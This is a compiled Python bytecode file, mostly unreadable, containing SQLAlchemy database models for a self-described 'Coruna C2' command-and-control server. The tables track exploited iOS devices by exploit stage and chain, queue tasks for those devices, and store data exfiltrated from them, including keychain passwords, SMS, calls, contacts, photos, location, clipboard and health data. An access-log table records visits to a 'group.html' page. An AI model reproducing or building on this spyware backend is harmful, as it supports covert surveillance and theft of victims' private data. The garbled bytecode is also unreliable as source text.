+
    Dd>j2S                        R t ^ RIHt ^ RIHtHtHtHtHtHtH	t	H
t
HtHt ^ RIHt ^ RIHt  ! R R]4      t ! R R]4      t ! R	 R
]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R]4      t ! R R ]4      t ! R! R"]4      t ! R# R$]4      t  ! R% R&]4      t! ! R' R(]4      t" ! R) R*]4      t# ! R+ R,]4      t$R-# ).u4   SQLAlchemy ORM 模型 - Coruna C2 数据库表结构)datetime)
ColumnIntegerStringDateTimeText
ForeignKeyJSON
BigIntegerBooleanFloat)relationship)Basec                      ] tR t^
tRtRt]! ]RRR7      t]! ]	! ^@4      RRRR7      t
]! ]	! ^@4      RR7      t]! ]	! ^ 4      RR7      t]! ]RR7      t]! ]	! ^@4      RR7      t]! ]RR7      t]! ]	! ^@4      RR7      t]! ]]P(                  ]P(                  R7      t]! ]]P(                  R	7      t]! ]RR7      t]! ]	! ^ 4      R
R	7      t]! ]	! ^ 4      RR7      t]! ]	! ^4      RR7      t]! ]	! ^ 4      RR7      t]! ]RR	7      t]! ]RR7      t]! ]	! ^ 4      RR7      t]! ]RR7      t ]! ]	! ^4      RR7      t!]! ]"RR7      t#]! ]"RR7      t$]! ]"RR7      t%]! ]"RR7      t&]! ]RR7      t']! ]	! ^ 4      RR7      t(]! ]	! ^@4      RR7      t)]! ]	! ^@4      RR7      t*]! ]	! ^4      RR7      t+]! ]	! ^4      RR7      t,]! ]	! ^4      RR7      t-]! ]	! ^@4      RR7      t.]! ]/RR7      t0]! ]/RR7      t1]! ]/RR7      t2]! ]/RR7      t3]! ]4RR7      t5]! ]RR7      t6]! ]^ R	7      t7]! ]^ R	7      t8]! ]^ R	7      t9]! ]/^ R	7      t:]! ]RR7      t;]<! RRRR7      t=]<! RRRR7      t>]<! RRRR7      t?]<! RRRR7      t@]<! RRRR7      tA]<! RRRR7      tB]<! RRRR7      tC]<! RRRR7      tD]<! RRRR7      tE]<! RRRR7      tF]<! RRRR7      tG]<! RRRR7      tH]<! RRRR7      tI]<! RRRR7      tJ]<! RRRR7      tK]<! RRRR7      tL]<! RRRR7      tMRtNR # )!Deviceu   设备信息表devicesTprimary_keyindexF)uniquer   nullabler   )defaultonupdater   offlineTaskdevicezall, delete-orphan)back_populatescascadeExfil	DeviceLog
FileRecordContactRecord	SMSRecord
CallRecordKeychainRecordPhotoRecordClipboardRecord	AppRecordProcessRecord
WiFiRecordBrowserHistoryRecordCalendarEvent
NoteRecordHealthRecord N)O__name__
__module____qualname____firstlineno____doc____tablename__r   r   idr   device_uuiddevice_modelios_versionios_version_numericchipsetr   
user_agent
ip_addressr   r   utcnow	last_seen
created_atfirst_exploit_atstatusexploit_stageexploit_chainruntime_typer   has_pacpac_integrityscreen_resolutionbattery_levelnetwork_typer   latitude	longitudealtitudeaccuracylocation_updated_atphone_numberimeiserial_numbericloud_accountdevice_namelocaletimezoner
   total_memoryavailable_memory
total_diskavailable_diskr	   extranotestotal_taskscompleted_tasksfailed_taskstotal_exfillast_activityr   tasksexfillogsfilescontactssms_messagescalls	keychainsphotos
clipboardsapps	processeswifi_networksbrowser_historycalendar_eventsnote_recordshealth_data__static_attributes__r0       3/Users/wind/Downloads/Coruna-main/backend/models.pyr   r   
   s   M	T	6BDuMK&*t4Ld3K 48VBZ$/Gt,Jr
T2Jx8??SI(//:Jh6F2J	2F 6":5M6#;6M&*t4LWe,G7T2M vbzD97T2M&*t4L ed+Hut,Ied+Hed+H D9 &*t4L&*t,D6":5MF3K$7Nt4K F2J.FfRj40H*t4Lj48
T2JJ6N 4$'E4$'E !,KWa0O'1-LQ/K8d3M BVWECWXEHFZ[DhH\]EOHNbcHHNbcLhH\]E-hPdeI-J^_F/RfgJHFZ[D_XOcdI hPdeM"#9(\pqO"?8UijOXOcdL~hPdeKru   r   c                      ] tR t^\tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR7      t]! ]RR7      t]! ]	! ^ 4      R	R
7      t]! ]RR7      t]! ]RR7      t]! ]]P(                  R
7      t]! ]RR7      t]! ]RR7      t]! ]^ R
7      t]! ]^ R
7      t]! ]RR
7      t]! ]RR7      t]! ]]
! R4      RR7      t]! RRR7      tRt R# )r   u	   任务表rc   Tr   devices.device_uuidFr   r   r   pendingr   i,  tasks.idr   r   r0   N)!r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   	task_typer   payloadrC   resulterror_messager   r   r?   rA   
started_atcompleted_atpriorityretry_counttimeout_secondsr	   task_metadataparent_task_idr   r   rt   r0   ru   rv   r   r   \   s    M	T	6BZ0E%FQV^bcKvbzE2ITD)GF2J	2FD4(F4$/M(//:J40J(T2Lgq)H!,KWc2O 4$/MGZ
%;dKN(7;Fru   r   c                      ] tR t^utRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR7      t]! ]	! R	4      RR7      t]! ]RR7      t]! ]RR7      t]! ]	! R	4      RR7      t]! ]RR7      t]! ]	! ^4      RR7      t]! ]]P.                  R
7      t]! ]RR7      t]! ]]
! R4      RR7      t]! RRR7      tRtR# )r    u   数据外泄表rd   Tr   rx   Fry   r      r   r{   r   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   categorypathr   descriptionr
   	file_size	file_pathcontent_preview	mime_typer   r   r?   rA   r	   exfil_metadatatask_idr   r   rt   r0   ru   rv   r    r    u   s    M	T	6BZ0E%FQV^bcKfRj51H&+-D-KzD1Ivc{T2ITD1Ovc{T2I(//:J D40NWj4tDG(7;Fru   r    c                   <   ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR7      t]! ]	! ^ 4      RR7      t]! ]RR7      t]! ]RR7      t]! ]]P&                  R	7      t]! ]RR7      t]! ]	! ^4      R
R	7      t]! RRR7      tRtR# )r!   u   设备日志表device_logsTr   rx   Fry   r   r   INFOr   re   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   stagerC   r   message
elapsed_msr   r   r?   rA   r	   log_metadata	log_levelr   r   rt   r0   ru   rv   r!   r!      s    !M	T	6BZ0E%FQV^bcK6":.EF2J/FTD)G$/J(//:J $.Lvbz62I(6:Fru   r!   c                       ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      RRR7      t
]! ]RR7      t]! ]	! R4      RR7      t]! ]	! R	4      RR
R7      t]! ]	! ^4      RRR7      t]! ]]P$                  RR7      tRtR# )	AccessLogu6   访问日志表 - 记录 group.html 被访问的情况access_logsTr   Fry   r         z/group.html)r   r   POSTr   r   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   ipr   r=   refererr   methodr   r   r?   rA   rt   r0   ru   rv   r   r      s|    @!M	T	6B	r
U$	7Bt,JVD\D1G&+}EDF2J?F(//FJru   r   c                      ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R4      RR	7      t]! ]	! R
4      RR	7      t]! ]RR	7      t]! ]	! ^4      RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]	! ^ 4      RR	7      t]! ]	! R4      RR	7      t]! ]	! ^ 4      RR7      t]! ]^ R7      t]! ]]P2                  R7      t]! ]RR	7      t]! RRR7      tRtR# )r"   u   文件记录表file_recordsTr   rx   Fry   r   r   r   rz   r   r   rf   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   remote_path	file_namer
   r   	file_typer   modified_datecreated_datepermissions
local_pathdownload_statusdownload_progressr   r?   rA   downloaded_atr   r   rt   r0   ru   rv   r"   r"      s    "M	T	6BZ0E%FQV^bcK6Kvc{U3IzD1Ivc{T2I8d3M(T2Ld3Ktt4JVBZ;Ow2(//:J8d3M(7;Fru   r"   c                      ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R4      RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]	! R4      RR	7      t]! ]	! R4      RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]	! ^4      RR	7      t]! ]]P2                  R
7      t]! RRR7      tRtR# )r#   u   联系人记录表contact_recordsTr   rx   Fry   r   r   r   r   rg   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   display_namer	   phone_numbersemails	addressesorganization	job_titler   birthdayr   r]   
contact_idr   r?   rA   r   r   rt   r0   ru   rv   r#   r#      s    %M	T	6BZ0E%FQV^bcK&+5L4$/MD4(Ftd+I&+5Lvc{T2Ih.H4$'Esd3J(//:J(:>Fru   r#   c                   x   ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR7      t]! ]	! ^@4      RR7      t]! ]RR7      t]! ]RR7      t]! ]RR7      t]! ]	! ^4      RR7      t]! ]RR	7      t]! ]RR	7      t]! ]^ R	7      t]! ]]P2                  R	7      t]! R
RR7      tRtR# )r$   u   短信记录表sms_recordsTr   rx   Fry   r   r   r   rh   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   sender	recipientr   bodyr   	date_sent	date_read
message_idr   is_readis_sentattachment_countr   r?   rA   r   r   rt   r0   ru   rv   r$   r$      s    !M	T	6BZ0E%FQV^bcKF2J.FvbzD1I$&Dx$/Ix$/Isd3JWe,GWe,Ggq1(//:J(>BFru   r$   c                   H   ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR7      t]! ]	! ^ 4      RR7      t]! ]RR7      t]! ]RR7      t]! ]	! R	4      RR7      t]! ]	! R	4      RR7      t]! ]]P(                  R
7      t]! RRR7      tRtR# )r%   u   通话记录表call_recordsTr   rx   Fry   r   r   r   r   ri   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   rQ   	call_typedurationr   date_calledcontact_namelocationr   r?   rA   r   r   rt   r0   ru   rv   r%   r%      s    "M	T	6BZ0E%FQV^bcK&*t4LvbzD1Ig-HD1K&+5LfSkD1H(//:J(7;Fru   r%   c                   |   ] tR t^tRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R4      RR	7      t]! ]	! R4      RR	7      t]! ]RR	7      t]! ]	! R4      RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]	! ^4      RR	7      t]! ]	! ^@4      RR	7      t]! ]]P.                  R
7      t]! RRR7      tRtR# )r&   u   钥匙串记录表keychain_recordsTr   rx   Fry   r   r   r   r   rj   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   serviceaccountr   passwordlabelr   creation_datemodification_dateaccess_group
accessibler   r?   rA   r   r   rt   r0   ru   rv   r&   r&      s    &M	T	6BZ0E%FQV^bcKVC[40GVC[40GdT*H6#;.E8d3Mx$7&+5Lr
T2J(//:J(;?Fru   r&   c                      ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R	4      RR
7      t]! ]	! R4      RR
7      t]! ]	! R4      RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]	! R4      RR
7      t]! ]	! R4      RR
7      t]! ]RR7      t]! ]]P<                  R7      t] ! RRR7      t!Rt"R# )r'   i  u   照片记录表photo_recordsTr   rx   Fry   r   r   r   r   r   r   rk   r|   r0   N)#r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   
album_namer   r   r
   r   widthheightorientationr   
date_takendate_modifiedr	   r   r   thumbnail_pathr   
is_deletedr   r?   rA   r   r   rt   r0   ru   rv   r'   r'     s    #M	T	6BZ0E%FQV^bcKsd3Jvd|d3Ivc{T2IzD1I7T*EGd+F40K40J8d3MdT*Htt4JF4L48N/J(//:J(8<Fru   r'   c                      ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]RR	7      t]! ]	! ^@4      RR	7      t]! ]]P"                  R
7      t]! ]	! R4      RR	7      t]! ]]P"                  R
7      t]! RRR7      tRtR# )r(   i%  u   剪贴板记录表clipboard_recordsTr   rx   Fry   r   r   r   r   rl   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   r   contentcontent_typer   r   r?   	timestampapp_namerA   r   r   rt   r0   ru   rv   r(   r(   %  s    'M	T	6BZ0E%FQV^bcKTD)G&*t4Lx9IfSkD1H(//:J(<@Fru   r(   c                      ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R	4      RR
7      t]! ]	! R	4      RR
7      t]! ]	! R	4      RR
7      t]! ]	! ^@4      RR
7      t]! ]	! ^@4      RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]	! ^4      RR
7      t]! ]RR7      t]! ]RR7      t]! ]	! R4      RR
7      t]! ]]P6                  R7      t]! RRR7      tRtR# )r)   i4  u   应用记录表app_recordsTr   rx   Fry   r   r   r   r   r   rm   r|   r0   N) r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   	bundle_idr   r   versionbuild_versionr
   bundle_sizer   install_dateapp_categoryr   is_system_app	is_hidden	icon_pathr   r?   rA   r   r   rt   r0   ru   rv   r)   r)   4  s    !M	T	6BZ0E%FQV^bcKvc{T2IfSkD1H&+5LVBZ$/G6":5Md3K(T2L&+5L7E2Mw.Ivd|d3I(//:J(6:Fru   r)   c                      ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R	4      RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]	! R4      RR
7      t]! ]	! ^@4      RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]	! ^ 4      RR
7      t]! ]]P2                  R7      t]! RRR7      tRtR# )r*   iJ  u   进程记录表process_recordsTr   rx   Fry   r   r   r   r   r   rn   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   namepidppidr   userr   	cpu_usager
   memory_usager   
start_timerC   r   r?   rA   r   r   rt   r0   ru   rv   r*   r*   J  s    %M	T	6BZ0E%FQV^bcK&+-D
4
(C'D)D&,.D&*t,Dut,I*t4L40JF2J.F(//:J(;?Fru   r*   c                      ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^4      RR	7      t]! ]	! ^ 4      RR	7      t]! ]	! ^ 4      RR	7      t]! ]	! R
4      RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]RR7      t]! ]RR7      t]! ]]P2                  R7      t]! RRR7      tRtR# )r+   i^  u   WiFi 网络记录表wifi_recordsTr   rx   Fry   r   r   r   r   ro   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   ssidbssidsecurity_typer   signal_strengthchannel	frequencyr   last_connectedr   is_saved
is_currentr   r?   rA   r   r   rt   r0   ru   rv   r+   r+   ^  s    "M	T	6BZ0E%FQV^bcK&+-D6":-E6":5MfSkD1HWt4OWt,Gw.IHt4Ngu-H/J(//:J(?CFru   r+   c                   d   ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR	7      t]! ]RR	7      t]! ]	! R
4      RR	7      t]! ]^R7      t]! ]RR	7      t]! ]RR	7      t]! ]RR7      t]! ]	! R
4      RR	7      t]! ]]P0                  R7      t]! RRR7      tRtR# )r,   is  u   浏览器历史记录表browser_history_recordsTr   rx   Fry   r   r   r   r   rp   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   browser_namer   urltitlevisit_countr   last_visitedfirst_visitedr   is_bookmarkedfavicon_urlr   r?   rA   r   r   rt   r0   ru   rv   r,   r,   s  s    "-M	T	6BZ0E%FQV^bcK&*t4L

%C6#;.E!,K(T2L8d3M7E2Mt4K(//:J(3DEFru   r,   c                      ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R	4      RR
7      t]! ]	! R	4      RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR7      t]! ]RR
7      t]! ]RR
7      t]! ]	! ^@4      RR
7      t]! ]RR
7      t]! ]	! R4      RR
7      t]! ]	! ^4      RR
7      t]! ]]P8                  R7      t]! RRR7      tRt R# )r-   i  u   日历事件表rq   Tr   rx   Fry   r   r   r   r   r   r|   r0   N)!r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   r
  r   r   
start_dateend_dater   all_dayr   r]   r	   	attendees
recurrencereminder_minutescalendar_nameevent_idr   r?   rA   r   r   rt   r0   ru   rv   r-   r-     s    %M	T	6BZ0E%FQV^bcK6#;.EfSkD1H40Jh.HWe,G4$'Etd+Ir
T2Jg56#;6MfSkD1H(//:J(3DEFru   r-   c                   P   ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! R	4      RR
7      t]! ]RR
7      t]! ]	! R4      RR
7      t]! ]RR
7      t]! ]RR
7      t]! ]RR7      t]! ]	! ^4      RR
7      t]! ]]P.                  R7      t]! RRR7      tRtR# )r.   i  u   笔记记录表rr   Tr   rx   Fry   r   r   r   r   r   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   r
  r   r   folderr   r   r   r   	is_lockednote_idr   r?   rA   r   r   rt   r0   ru   rv   r.   r.     s    "M	T	6BZ0E%FQV^bcK6#;.ETD)GF3K$/F(T2L8d3Mw.IVC[40G(//:J(>BFru   r.   c                   P   ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      ]
! R4      RRR7      t]! ]	! ^@4      RR	7      t]! ]RR	7      t]! ]	! ^ 4      RR	7      t]! ]RR	7      t]! ]RR	7      t]! ]	! R
4      RR	7      t]! ]RR	7      t]! ]]P.                  R7      t]! RRR7      tRtR# )r/   i  u   健康数据表health_recordsTr   rx   Fry   r   r   r   r   rs   r|   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   r   r8   	data_typer   valueunitr   r  r  sourcer	   health_metadatar   r?   rA   r   r   rt   r0   ru   rv   r/   r/     s    $M	T	6BZ0E%FQV^bcKvbzD1I54(E&*t,D40Jh.HF3K$/FTD1O(//:J(=AFru   r/   c                       ] tR tRtRtRt]! ]RRR7      t]! ]	! ^@4      RRR7      t
]! ]RR7      t]! ]	! ^ 4      RR7      t]! ]]P                   RR	7      t]! ]RR7      tR
tR# )SystemMetrici  u   系统指标表system_metricsTr   Fry   r   r   r0   N)r1   r2   r3   r4   r5   r6   r   r   r7   r   metric_namer   metric_valuemetric_unitr   r   r?   r   r	   metric_metadatart   r0   ru   rv   r%  r%    sd    $M	T	6Be4@K%%0Ld3KxEITD1Oru   r%  N)%r5   r   
sqlalchemyr   r   r   r   r   r   r	   r
   r   r   sqlalchemy.ormr   databaser   r   r   r    r!   r   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   r-   r.   r/   r%  r0   ru   rv   <module>r.     s#   :  l l l ' OfT Ofd<4 <2<D <,; ;&
G 
G< <,?D ?(C C(< <"@T @&=$ =0Ad A; ;,@D @(D D*F4 F&FD F,C C$B4 B$	24 	2ru   